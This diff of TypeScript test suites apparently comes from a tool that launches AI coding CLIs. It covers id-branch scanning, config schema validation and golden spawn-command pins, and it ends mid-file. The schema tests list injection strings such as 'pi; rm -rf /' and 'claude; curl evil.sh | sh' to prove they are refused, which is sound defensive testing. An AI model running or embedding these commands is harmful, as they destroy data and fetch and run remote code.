// ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits
|
||||
`'(?:${ID_ALT})'\\s*(?:,\\s*'(?:${ID_ALT})'\\s*)*\\]\\s*\\.includes\\(`,
|
||||
].join('|'),
|
||||
'g'
|
||||
);
|
||||
|
||||
/**
|
||||
* BLANK comment lines before scanning, rather than dropping them. Comments legitimately quote
|
||||
* the very pattern being banned — several of them explain WHY a branch was removed — and
|
||||
* flagging those would push the next author to delete the explanation rather than the code.
|
||||
*
|
||||
* ⚠️ Blanking rather than removing is what keeps reported line numbers pointing at the real
|
||||
* file. Dropping the lines shifted every finding upward by however many comments preceded it,
|
||||
* so the guard's own diagnostic sent you to the wrong place — which for a rule about not
|
||||
* writing a branch is exactly the moment you need the right one.
|
||||
*/
|
||||
function uncommented(source: string): string {
|
||||
return source
|
||||
.split('\n')
|
||||
.map((line) => (/^\s*(\/\/|\*|\/\*)/.test(line) ? '' : line))
|
||||
.join('\n');
|
||||
}
|
||||
|
||||
function walk(dir: string, out: string[] = []): string[] {
|
||||
for (const name of readdirSync(dir)) {
|
||||
const full = join(dir, name);
|
||||
if (statSync(full).isDirectory()) walk(full, out);
|
||||
else if (name.endsWith('.ts')) out.push(full);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
interface Finding {
|
||||
file: string;
|
||||
expression: string;
|
||||
line: number;
|
||||
key: string;
|
||||
}
|
||||
|
||||
function scan(): { findings: Finding[]; filesScanned: number } {
|
||||
const findings: Finding[] = [];
|
||||
const files = walk(SRC);
|
||||
let scanned = 0;
|
||||
for (const full of files) {
|
||||
const rel = relative(SRC, full);
|
||||
if (EXEMPT_FILES.has(rel)) continue;
|
||||
scanned++;
|
||||
const lines = uncommented(readFileSync(full, 'utf-8')).split('\n');
|
||||
lines.forEach((line, i) => {
|
||||
BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts
|
||||
for (const match of line.matchAll(BRANCH_PATTERN)) {
|
||||
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode');
|
||||
const posix = rel.split(sep).join('/');
|
||||
findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` });
|
||||
}
|
||||
});
|
||||
}
|
||||
return { findings, filesScanned: scanned };
|
||||
}
|
||||
|
||||
const { findings, filesScanned } = scan();
|
||||
|
||||
describe('no CLI-id branching outside the stock catalog', () => {
|
||||
it('scans a meaningful number of source files (sanity)', () => {
|
||||
// If this collapses toward zero the walker or the exemption list drifted and every
|
||||
// assertion below would pass vacuously. Fix the scanner, do not delete the test.
|
||||
expect(filesScanned).toBeGreaterThan(100);
|
||||
});
|
||||
|
||||
it('builds its id list from the live catalog (sanity)', () => {
|
||||
expect(IDS).toContain('claude');
|
||||
expect(IDS).toContain('deepseek');
|
||||
expect(IDS.length).toBeGreaterThanOrEqual(9);
|
||||
});
|
||||
|
||||
it('still detects a branch when one exists (anti-vacuity)', () => {
|
||||
// Proves the pattern actually matches every shape it is meant to ban, so a regex typo
|
||||
// cannot silently turn this whole file into a no-op. One case per alternative, because
|
||||
// the `===`-only version of this test passed happily while `!==` went unseen.
|
||||
const samples = [
|
||||
"if (session.mode === 'codex') { doSomething(); }",
|
||||
"if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }",
|
||||
"switch (mode) { case 'gemini': return 1; }",
|
||||
"if (['codex', 'gemini'].includes(mode)) { doSomething(); }",
|
||||
];
|
||||
for (const sample of samples) {
|
||||
BRANCH_PATTERN.lastIndex = 0;
|
||||
expect(sample.match(BRANCH_PATTERN), `pattern missed: ${sample}`).not.toBeNull();
|
||||
}
|
||||
BRANCH_PATTERN.lastIndex = 0;
|
||||
expect(uncommented(" // mode === 'codex'\ncode();").match(BRANCH_PATTERN)).toBeNull();
|
||||
});
|
||||
|
||||
it('has no unapproved id branches', () => {
|
||||
const offenders = findings.filter((f) => !(f.key in ALLOWED_BRANCHES));
|
||||
const detail = offenders.map((f) => ` ${f.file}:${f.line} ${f.expression}`).join('\n');
|
||||
expect(
|
||||
offenders,
|
||||
offenders.length === 0
|
||||
? ''
|
||||
: `Found ${offenders.length} CLI-id branch(es) outside the stock catalog:\n${detail}\n\n` +
|
||||
'Two ways out, in order of preference:\n' +
|
||||
' 1. Express the difference as data on the CliEntry (a CliCapabilities field), or as a\n' +
|
||||
' NAMED PROFILE in config/cli-registry/profiles.ts if it genuinely needs to run code.\n' +
|
||||
' 2. If it is not a CLI-behaviour branch at all, add it to ALLOWED_BRANCHES in this file\n' +
|
||||
" WITH the reason. Read this file's header before choosing option 2."
|
||||
).toEqual([]);
|
||||
});
|
||||
|
||||
it('has no stale allowlist entries', () => {
|
||||
// An allowlisted branch that no longer exists is a lie about the codebase, and the next
|
||||
// person to reintroduce that exact branch would sail straight through.
|
||||
const present = new Set(findings.map((f) => f.key));
|
||||
const stale = Object.keys(ALLOWED_BRANCHES).filter((key) => !present.has(key));
|
||||
expect(stale, `ALLOWED_BRANCHES entries no longer present — delete them:\n ${stale.join('\n ')}`).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('declared-for-later fields', () => {
|
||||
/**
|
||||
* The fields `CliEntry`'s header declares as not-yet-read. Each is frontend behaviour, and
|
||||
* the frontend is untouched by this change.
|
||||
*
|
||||
* This is here so the list cannot quietly GROW. An unread field is a promise the code does
|
||||
* not keep, and the failure mode is a reader trusting one: the next person sees
|
||||
* `echo.policy: 'buffer'` on an entry and assumes the terminal honours it. Adding a field
|
||||
* nobody reads should be a decision someone makes on purpose, which means updating this
|
||||
* list — and wiring one up should make its line here fail, which is the good direction.
|
||||
*/
|
||||
const DECLARED_FOR_LATER = [
|
||||
'shortBadge',
|
||||
'accent',
|
||||
'capabilities.echo',
|
||||
'capabilities.wheelForward',
|
||||
'capabilities.keyboardAccessory',
|
||||
'capabilities.maxFrameBytes',
|
||||
// The Docker credential-seeding path still reads its own CRED_STORES table: this shape
|
||||
// allows ONE store per CLI and the live table needs two for gemini. See CliOverlays.
|
||||
'overlays.credStore',
|
||||
];
|
||||
|
||||
/** Read every `.ts` under src/, minus the registry itself (which of course names them). */
|
||||
function sourceOutsideRegistry(): string {
|
||||
const parts: string[] = [];
|
||||
const stack = [SRC];
|
||||
while (stack.length > 0) {
|
||||
const dir = stack.pop()!;
|
||||
for (const name of readdirSync(dir)) {
|
||||
const full = join(dir, name);
|
||||
if (statSync(full).isDirectory()) {
|
||||
if (name !== 'cli-registry') stack.push(full);
|
||||
continue;
|
||||
}
|
||||
if (name.endsWith('.ts')) parts.push(uncommented(readFileSync(full, 'utf-8')));
|
||||
}
|
||||
}
|
||||
return parts.join('\n');
|
||||
}
|
||||
|
||||
/**
|
||||
* Receivers whose same-named property is NOT this field. A leaf-name match is all a static
|
||||
* check can do, and `cli.ts` calls `palette.accent('admin')` — the terminal colour helper,
|
||||
* unrelated to `CliEntry.accent`. Listing the receiver is better than dropping the field
|
||||
* from the check: a real read through any OTHER receiver still fails.
|
||||
*/
|
||||
const UNRELATED_RECEIVERS: Record<string, string[]> = { accent: ['palette'] };
|
||||
|
||||
const outside = sourceOutsideRegistry();
|
||||
|
||||
it.each(DECLARED_FOR_LATER)('%s is still unread outside the registry', (field) => {
|
||||
const leaf = field.split('.').pop()!;
|
||||
const ignore = UNRELATED_RECEIVERS[leaf] ?? [];
|
||||
// `.<leaf>` as a property access. Comment lines are already blanked, so a mention in
|
||||
// prose does not count as a read; a receiver listed above does not either.
|
||||
const pattern = new RegExp(`(\\w*)\\.${leaf}\\b`, 'g');
|
||||
const uses = [...outside.matchAll(pattern)].filter((m) => !ignore.includes(m[1])).map((m) => m[0]);
|
||||
expect(
|
||||
uses,
|
||||
`${field} now looks READ outside config/cli-registry. If that is deliberate, drop it ` +
|
||||
"from DECLARED_FOR_LATER here and from CliEntry's header comment — the point of both " +
|
||||
'is that a reader can tell which fields are load-bearing.'
|
||||
).toEqual([]);
|
||||
});
|
||||
|
||||
it('still catches a read when there is one (anti-vacuity)', () => {
|
||||
// The check is only worth having if it fires, so prove it against a field that IS read.
|
||||
// `capabilities.ralph` is live in session-routes; if this ever stops matching, the
|
||||
// scanner has drifted and every assertion above is passing vacuously.
|
||||
expect(outside).toMatch(/\.ralph\b/);
|
||||
expect(DECLARED_FOR_LATER.length).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,256 @@
|
||||
/**
|
||||
* @fileoverview Validation rules for a `CliEntry`.
|
||||
*
|
||||
* `~/.codeman/clis.json` is hand-editable and selects the binaries Codeman spawns, so this
|
||||
* schema is a security boundary, not a typo-catcher. Two properties carry that weight:
|
||||
*
|
||||
* - **Everything is `.strict()`.** An unknown key is a hard error. On a permissive schema a
|
||||
* misspelled field name degrades to "field absent → the permissive default applies",
|
||||
* which is the worst possible failure mode for a field like `privilegedEnvKeys`.
|
||||
* - **No shell text can reach the command line.** Every literal is checked against a
|
||||
* safe-word pattern at LOAD time, and a literal that fails REJECTS THE WHOLE ENTRY rather
|
||||
* than being dropped — a silently dropped flag would change security-relevant behaviour
|
||||
* (losing `--no-approve` is not a cosmetic difference).
|
||||
*
|
||||
* Port: none (pure schema).
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { CliEntrySchema } from '../src/config/cli-registry/schema.js';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
import type { CliEntry } from '../src/config/cli-registry/types.js';
|
||||
|
||||
/** A deep clone of a shipped entry, as the base for "valid except for X" cases. */
|
||||
function baseEntry(id = 'pi'): Record<string, unknown> {
|
||||
const found = STOCK_CLIS.find((e) => (e.id as string) === id);
|
||||
if (!found) throw new Error(`no stock entry ${id}`);
|
||||
return JSON.parse(JSON.stringify(found)) as Record<string, unknown>;
|
||||
}
|
||||
|
||||
function expectRejected(mutate: (entry: Record<string, unknown>) => void, because: string): void {
|
||||
const entry = baseEntry();
|
||||
mutate(entry);
|
||||
const result = CliEntrySchema.safeParse(entry);
|
||||
expect(result.success, `expected rejection: ${because}`).toBe(false);
|
||||
}
|
||||
|
||||
describe('the shipped catalog', () => {
|
||||
it('validates every stock entry exactly as shipped', () => {
|
||||
// If this fails, the catalog cannot load at all — every other test here is downstream.
|
||||
for (const entry of STOCK_CLIS) {
|
||||
const result = CliEntrySchema.safeParse(entry);
|
||||
expect(
|
||||
result.success,
|
||||
`stock entry "${entry.id as string}" failed: ${JSON.stringify(result.error?.issues)}`
|
||||
).toBe(true);
|
||||
}
|
||||
expect(STOCK_CLIS.length).toBeGreaterThanOrEqual(9);
|
||||
});
|
||||
|
||||
it('ships every entry with a unique id and order', () => {
|
||||
const ids = STOCK_CLIS.map((e) => e.id as string);
|
||||
expect(new Set(ids).size).toBe(ids.length);
|
||||
const orders = STOCK_CLIS.map((e) => e.order);
|
||||
expect(new Set(orders).size).toBe(orders.length);
|
||||
});
|
||||
});
|
||||
|
||||
describe('strictness', () => {
|
||||
it('rejects an unknown key at the top level', () => {
|
||||
expectRejected((e) => {
|
||||
e.unknownField = true;
|
||||
}, 'a typo must not degrade to a permissive default');
|
||||
});
|
||||
|
||||
it('rejects an unknown key deep inside capabilities', () => {
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).newSwitch = true;
|
||||
}, 'strictness has to hold at every depth, not just the top');
|
||||
});
|
||||
|
||||
it('rejects an unknown key inside discovery', () => {
|
||||
expectRejected((e) => {
|
||||
(e.discovery as Record<string, unknown>).probeEverything = true;
|
||||
}, 'strictness has to hold at every depth');
|
||||
});
|
||||
});
|
||||
|
||||
describe('no shell text can reach the command line', () => {
|
||||
it('rejects a literal carrying shell metacharacters', () => {
|
||||
for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) {
|
||||
expectRejected(
|
||||
(e) => {
|
||||
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
||||
launch.variants[0].args[0] = { lit: evil };
|
||||
},
|
||||
`literal ${JSON.stringify(evil)} must be refused`
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects a fixed flag VALUE carrying shell metacharacters', () => {
|
||||
expectRejected((e) => {
|
||||
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
||||
launch.variants[0].args.push({ flag: '--model', value: 'a`b`' });
|
||||
}, 'a fixed value is a literal too');
|
||||
});
|
||||
|
||||
it('rejects a flag that does not look like a flag', () => {
|
||||
expectRejected((e) => {
|
||||
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
||||
launch.variants[0].args.push({ flag: 'rm -rf /' });
|
||||
}, 'a flag must match -x / --long-flag');
|
||||
});
|
||||
|
||||
it('rejects an overlay command that is more than bare words', () => {
|
||||
expectRejected((e) => {
|
||||
e.overlays = { remote: { command: 'claude; curl evil.sh | sh' } };
|
||||
}, 'overlay commands are one bare command plus bare flags, not an escape hatch into shell');
|
||||
});
|
||||
});
|
||||
|
||||
describe('cross-field integrity', () => {
|
||||
it('rejects a valueFrom naming an undeclared param', () => {
|
||||
expectRejected((e) => {
|
||||
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
||||
launch.variants[0].args.push({ flag: '--model', valueFrom: 'noSuchParam' });
|
||||
}, 'a dangling valueFrom silently emits nothing');
|
||||
});
|
||||
|
||||
it('rejects a capabilityGate naming an undeclared gate', () => {
|
||||
expectRejected((e) => {
|
||||
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
||||
launch.variants[0].args.push({ flag: '--new', when: { capabilityGate: 'noSuchGate' } });
|
||||
}, 'an unknown gate never passes, so the flag would be silently unreachable');
|
||||
});
|
||||
|
||||
it('rejects a fallback chain whose last variant is conditional', () => {
|
||||
expectRejected((e) => {
|
||||
const launch = e.launch as Record<string, unknown>;
|
||||
launch.chain = 'fallback';
|
||||
(launch.variants as Array<Record<string, unknown>>)[0].when = { param: 'model', state: 'set' };
|
||||
}, 'the terminal case of a fallback chain must be guaranteed to render');
|
||||
});
|
||||
|
||||
it('rejects a legacyConfigAliases key naming an undeclared param', () => {
|
||||
expectRejected((e) => {
|
||||
(e.launch as Record<string, unknown>).legacyConfigAliases = { nope: 'resumeSessionId' };
|
||||
}, 'an alias for a param that does not exist can never apply');
|
||||
});
|
||||
|
||||
it('rejects a configSetenv reading an undeclared param', () => {
|
||||
// Losing this mapping for DeepSeek would silently drop a permission clamp.
|
||||
expectRejected((e) => {
|
||||
(e.env as Record<string, unknown>).configSetenv = [{ name: 'DSH_PERMISSION_MODE', fromParam: 'nope' }];
|
||||
}, 'exporting from a param that does not exist would export nothing, silently');
|
||||
});
|
||||
|
||||
it('rejects a privilegedParams clamp naming an undeclared param', () => {
|
||||
// The security-relevant twin of the configSetenv case above, and the sharper of the two:
|
||||
// `privilegedParams[].param` is the multi-user bypass clamp's only handle on a CLI's
|
||||
// privilege switch, and a wrong name there clamps NOTHING with no error anywhere.
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).privilegedParams = [{ param: 'nope', clampTo: false }];
|
||||
}, 'clamping a param that does not exist would silently stop clamping');
|
||||
});
|
||||
|
||||
it('names privilegedParams in the LAUNCH-PARAM namespace, not the legacy wire one', () => {
|
||||
// codex is the entry where the two names differ, so it is the one that catches a
|
||||
// regression here. Naming the wire field (`dangerouslyBypassApprovals`) instead of the
|
||||
// param (`bypassApprovals`) must be a load-time REJECTION, not a silent no-op — and the
|
||||
// shipped entry must be on the param side of that line.
|
||||
const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex');
|
||||
expect(codex).toBeDefined();
|
||||
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals']);
|
||||
expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals');
|
||||
|
||||
const wrong = baseEntry('codex');
|
||||
(wrong.capabilities as Record<string, unknown>).privilegedParams = [
|
||||
{ param: 'dangerouslyBypassApprovals', clampTo: false },
|
||||
];
|
||||
expect(CliEntrySchema.safeParse(wrong).success).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects a profile name this build does not implement', () => {
|
||||
expectRejected((e) => {
|
||||
(e.discovery as Record<string, unknown>).launcherProfile = 'no-such-profile';
|
||||
}, 'an unimplemented launcher profile fails closed and the CLI looks permanently uninstalled');
|
||||
expectRejected((e) => {
|
||||
(e.env as Record<string, unknown>).setenvProfile = 'no-such-profile';
|
||||
}, 'an unimplemented setenv profile silently skips setup the CLI needs');
|
||||
});
|
||||
});
|
||||
|
||||
describe('the env allowlist cannot be widened by config', () => {
|
||||
it('requires a prefix to end with an underscore', () => {
|
||||
expectRejected((e) => {
|
||||
(e.env as Record<string, unknown>).allowedPrefixes = ['CLAUDE'];
|
||||
}, 'a prefix without a trailing _ matches more namespaces than it names');
|
||||
});
|
||||
|
||||
it('rejects a prefix short enough to swallow unrelated namespaces', () => {
|
||||
// The anti-widening case: `P_` would admit PATH-adjacent and every other P namespace at
|
||||
// once, and the allowlist is ONE GLOBAL LIST applied to every mode.
|
||||
expectRejected((e) => {
|
||||
(e.env as Record<string, unknown>).allowedPrefixes = ['P_'];
|
||||
}, 'a 2-char prefix is too broad for a global allowlist');
|
||||
});
|
||||
|
||||
it('rejects an env NAME that is not UPPER_SNAKE_CASE', () => {
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).privilegedEnvKeys = ['dsh-permission-mode'];
|
||||
}, 'env names are UPPER_SNAKE_CASE; anything else would never match a real key');
|
||||
});
|
||||
});
|
||||
|
||||
describe('identity', () => {
|
||||
it('rejects an id that is not a lowercase kebab token', () => {
|
||||
for (const bad of ['Pi', 'my cli', '1pi', 'pi/../x', '']) {
|
||||
const entry = baseEntry();
|
||||
entry.id = bad;
|
||||
expect(CliEntrySchema.safeParse(entry).success, `id ${JSON.stringify(bad)} must be refused`).toBe(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects an accent that is not a 6-digit hex colour', () => {
|
||||
expectRejected((e) => {
|
||||
e.accent = 'red';
|
||||
}, 'the accent is interpolated into CSS');
|
||||
});
|
||||
|
||||
it('accepts a well-formed custom entry built from a stock one', () => {
|
||||
const entry = baseEntry();
|
||||
entry.id = 'my-cli';
|
||||
entry.label = 'My CLI';
|
||||
entry.stock = false;
|
||||
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('capability shapes', () => {
|
||||
it('accepts only the three hook states', () => {
|
||||
for (const value of ['none', 'always', 'supervised']) {
|
||||
const entry = baseEntry();
|
||||
(entry.capabilities as Record<string, unknown>).hooks = value;
|
||||
expect(CliEntrySchema.safeParse(entry).success, `hooks=${value}`).toBe(true);
|
||||
}
|
||||
// A boolean was the old shape and must NOT quietly work — `true` would have to mean
|
||||
// 'always', which is wrong for a supervised CLI.
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).hooks = true;
|
||||
}, 'hooks is a tri-state, not a boolean');
|
||||
});
|
||||
|
||||
it('accepts only known transcript readers', () => {
|
||||
const entry = baseEntry() as unknown as CliEntry;
|
||||
for (const value of ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']) {
|
||||
const candidate = baseEntry();
|
||||
(candidate.capabilities as Record<string, unknown>).transcript = value;
|
||||
expect(CliEntrySchema.safeParse(candidate).success, `transcript=${value}`).toBe(true);
|
||||
}
|
||||
expect(entry.capabilities.transcript).toBeDefined();
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).transcript = 'some-future-format';
|
||||
}, 'a transcript reader that does not exist would silently read nothing');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,295 @@
|
||||
/**
|
||||
* @fileoverview GOLDEN spawn-command pins for the CLI registry's argv engine.
|
||||
*
|
||||
* Every expectation here is a LITERAL STRING, deliberately. An earlier version of this work
|
||||
* compared the engine against `buildSpawnCommand()` instead — which read as a strong parity
|
||||
* proof right up until `buildSpawnCommand` was itself switched over to call the engine, at
|
||||
* which point it was comparing the engine with itself and would have happily accepted any
|
||||
* regression the two shared. Literals cannot rot that way: they were captured from the
|
||||
* hand-written builders BEFORE those builders were removed, and they are now the only
|
||||
* surviving record of what those builders emitted.
|
||||
*
|
||||
* ⚠️ If a change here makes one of these fail, the question is never "what is the new string?"
|
||||
* It is "which real CLI invocation just changed, and is that intended?" A byte that moves in
|
||||
* this file is a byte that moves in a command line Codeman executes.
|
||||
*
|
||||
* Coverage note: every mode with a launch spec is pinned, `grok` and `deepseek` included.
|
||||
* Grok had no parity coverage at all in the first draft of the registry, and deepseek did not
|
||||
* exist in it — the two modes most likely to be transcribed wrong were the two nothing
|
||||
* checked.
|
||||
*
|
||||
* Port: none (pure function over registry data).
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { getCli } from '../src/config/cli-registry/registry.js';
|
||||
import { buildSpawnCommandFromRegistry, type SpawnBridgeOptions } from '../src/session-cli-registry-bridge.js';
|
||||
|
||||
/** A fixed session id, so `--session-id` is stable across runs. */
|
||||
const SID = '0f9c2b14-1111-2222-3333-444455556666';
|
||||
|
||||
function render(options: SpawnBridgeOptions): string | undefined {
|
||||
const entry = getCli(options.mode);
|
||||
if (!entry) throw new Error(`no registry entry for mode ${options.mode}`);
|
||||
return buildSpawnCommandFromRegistry(entry, options);
|
||||
}
|
||||
|
||||
/** Every claude case pins an explicit `claudeCliVersion` so the --name gate is deterministic. */
|
||||
function claude(extra: Partial<SpawnBridgeOptions> = {}): string | undefined {
|
||||
return render({ mode: 'claude', sessionId: SID, claudeCliVersion: null, ...extra });
|
||||
}
|
||||
|
||||
describe('claude', () => {
|
||||
it('defaults to skip-permissions plus a new session id', () => {
|
||||
expect(claude()).toBe('claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"');
|
||||
});
|
||||
|
||||
it('maps each permission mode', () => {
|
||||
expect(claude({ claudeMode: 'auto' })).toBe(
|
||||
'claude --permission-mode auto --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
expect(claude({ claudeMode: 'normal' })).toBe('claude --session-id "0f9c2b14-1111-2222-3333-444455556666"');
|
||||
expect(claude({ claudeMode: 'allowedTools', allowedTools: 'Bash(git:*), Read' })).toBe(
|
||||
'claude --allowedTools "Bash(git:*), Read" --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
});
|
||||
|
||||
it('resumes through a shell fallback to a fresh session', () => {
|
||||
// The ` || ` is emitted by the ENGINE, not by config — no registry field can hold shell
|
||||
// text. This pin is what proves the fallback chain still renders as one command line.
|
||||
expect(claude({ resumeSessionId: 'abc-123-def' })).toBe(
|
||||
'claude --dangerously-skip-permissions --resume "abc-123-def" || ' +
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
});
|
||||
|
||||
it('carries effort as a flag, and ultracode as a settings blob', () => {
|
||||
expect(claude({ effort: 'max' })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --effort \'max\''
|
||||
);
|
||||
expect(claude({ effort: 'ultracode' })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" ' +
|
||||
'--settings \'{"ultracode":true}\''
|
||||
);
|
||||
});
|
||||
|
||||
it('gates --name on the CLI version, failing closed when it is unknown', () => {
|
||||
const named = { sessionName: 'w1 alpha' };
|
||||
expect(claude({ ...named, claudeCliVersion: '2.1.226' })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666" --name "w1 alpha"'
|
||||
);
|
||||
expect(claude({ ...named, claudeCliVersion: '2.1.223' })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
// Unknown version satisfies NO gate. A version probe that fails must not silently
|
||||
// upgrade behaviour.
|
||||
expect(claude({ ...named, claudeCliVersion: null })).toBe(
|
||||
'claude --dangerously-skip-permissions --session-id "0f9c2b14-1111-2222-3333-444455556666"'
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('opencode', () => {
|
||||
const oc = (openCodeConfig?: SpawnBridgeOptions['openCodeConfig']) =>
|
||||
render({ mode: 'opencode', sessionId: SID, openCodeConfig });
|
||||
|
||||
it('spawns bare by default', () => {
|
||||
expect(oc()).toBe('opencode');
|
||||
});
|
||||
|
||||
it('reads its resume id through the legacy `continueSession` alias', () => {
|
||||
expect(oc({ model: 'anthropic/claude', continueSession: 'ses_9' })).toBe(
|
||||
'opencode --model anthropic/claude --session ses_9'
|
||||
);
|
||||
});
|
||||
|
||||
it('only forks an existing session', () => {
|
||||
expect(oc({ continueSession: 'ses_9', forkSession: true })).toBe('opencode --session ses_9 --fork');
|
||||
// --fork with nothing to fork from would be meaningless, so it drops out entirely.
|
||||
expect(oc({ forkSession: true })).toBe('opencode');
|
||||
});
|
||||
});
|
||||
|
||||
describe('codex', () => {
|
||||
const cx = (codexConfig?: SpawnBridgeOptions['codexConfig']) =>
|
||||
render({ mode: 'codex', sessionId: SID, codexConfig });
|
||||
|
||||
it('spawns bare by default', () => {
|
||||
expect(cx()).toBe('codex');
|
||||
});
|
||||
|
||||
it('emits the bypass flag only when asked', () => {
|
||||
expect(cx({ dangerouslyBypassApprovals: true })).toBe('codex --dangerously-bypass-approvals-and-sandbox');
|
||||
expect(cx({ dangerouslyBypassApprovals: false })).toBe('codex');
|
||||
});
|
||||
|
||||
it('sends animations as an explicit true/false config pair', () => {
|
||||
expect(cx({ animations: true })).toBe('codex --config tui.animations=true');
|
||||
expect(cx({ animations: false })).toBe('codex --config tui.animations=false');
|
||||
});
|
||||
|
||||
it('resumes with a POSITIONAL subcommand, not a flag', () => {
|
||||
expect(cx({ model: 'gpt-5', resumeSessionId: 'roll_42' })).toBe('codex --model gpt-5 resume roll_42');
|
||||
});
|
||||
});
|
||||
|
||||
describe('gemini', () => {
|
||||
const gm = (geminiConfig?: SpawnBridgeOptions['geminiConfig']) =>
|
||||
render({ mode: 'gemini', sessionId: SID, geminiConfig });
|
||||
|
||||
it('defaults an absent approval mode to yolo', () => {
|
||||
// ⚠️ This is the DEFAULT-IS-UNSAFE case the multi-user clamp has to MATERIALIZE a config
|
||||
// for: sending no geminiConfig at all still yields yolo, so an only-if-sent clamp would
|
||||
// miss it entirely. See test/routes/external-cli-bypass-clamp.test.ts.
|
||||
expect(gm()).toBe('gemini --skip-trust --approval-mode yolo');
|
||||
});
|
||||
|
||||
it('honours an explicit approval mode', () => {
|
||||
expect(gm({ approvalMode: 'auto_edit' })).toBe('gemini --skip-trust --approval-mode auto_edit');
|
||||
});
|
||||
|
||||
it('reads its resume id through the legacy `resumeSession` alias', () => {
|
||||
expect(gm({ model: 'gemini-3-pro', resumeSession: 'conv.7' })).toBe(
|
||||
'gemini --skip-trust --approval-mode yolo --model gemini-3-pro --resume conv.7'
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('antigravity', () => {
|
||||
const ag = (antigravityConfig?: SpawnBridgeOptions['antigravityConfig']) =>
|
||||
render({ mode: 'antigravity', sessionId: SID, antigravityConfig });
|
||||
|
||||
it('runs `agy`, not `antigravity`', () => {
|
||||
// The mode name is not the binary name. Assuming it was is a bug this registry fixes.
|
||||
expect(ag()).toBe('agy');
|
||||
});
|
||||
|
||||
it('emits its flags', () => {
|
||||
expect(ag({ dangerouslySkipPermissions: true, model: 'gemini-3-pro' })).toBe(
|
||||
'agy --dangerously-skip-permissions --model gemini-3-pro'
|
||||
);
|
||||
expect(ag({ resumeConversationId: 'conv-99' })).toBe('agy --conversation conv-99');
|
||||
});
|
||||
});
|
||||
|
||||
describe('pi', () => {
|
||||
const pi = (piConfig?: SpawnBridgeOptions['piConfig']) => render({ mode: 'pi', sessionId: SID, piConfig });
|
||||
|
||||
it('spawns bare by default', () => {
|
||||
expect(pi()).toBe('pi');
|
||||
});
|
||||
|
||||
it('renders the full option set', () => {
|
||||
expect(pi({ model: 'sonnet:high', provider: 'anthropic', thinking: 'xhigh' })).toBe(
|
||||
'pi --model sonnet:high --provider anthropic --thinking xhigh'
|
||||
);
|
||||
});
|
||||
|
||||
it('treats project trust as a TRI-state', () => {
|
||||
// Absent is a third state, not a synonym for false: it leaves pi to ask interactively.
|
||||
expect(pi({ approveProjectTrust: true })).toBe('pi --approve');
|
||||
expect(pi({ approveProjectTrust: false })).toBe('pi --no-approve');
|
||||
expect(pi()).toBe('pi');
|
||||
});
|
||||
|
||||
it('prefers an explicit session id over -c', () => {
|
||||
expect(pi({ resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14');
|
||||
expect(pi({ continueSession: true })).toBe('pi -c');
|
||||
expect(pi({ continueSession: true, resumeSessionId: '0f9c2b14' })).toBe('pi --session 0f9c2b14');
|
||||
});
|
||||
});
|
||||
|
||||
describe('grok', () => {
|
||||
const gk = (grokConfig?: SpawnBridgeOptions['grokConfig']) => render({ mode: 'grok', sessionId: SID, grokConfig });
|
||||
|
||||
it('spawns bare by default', () => {
|
||||
expect(gk()).toBe('grok');
|
||||
});
|
||||
|
||||
it('emits its bypass flag only when asked', () => {
|
||||
expect(gk({ alwaysApprove: true, model: 'grok-4.5' })).toBe('grok --always-approve --model grok-4.5');
|
||||
expect(gk({ alwaysApprove: false })).toBe('grok');
|
||||
});
|
||||
|
||||
it('prefers an explicit resume id over --continue', () => {
|
||||
expect(gk({ resumeSessionId: '0198f2b4' })).toBe('grok --resume 0198f2b4');
|
||||
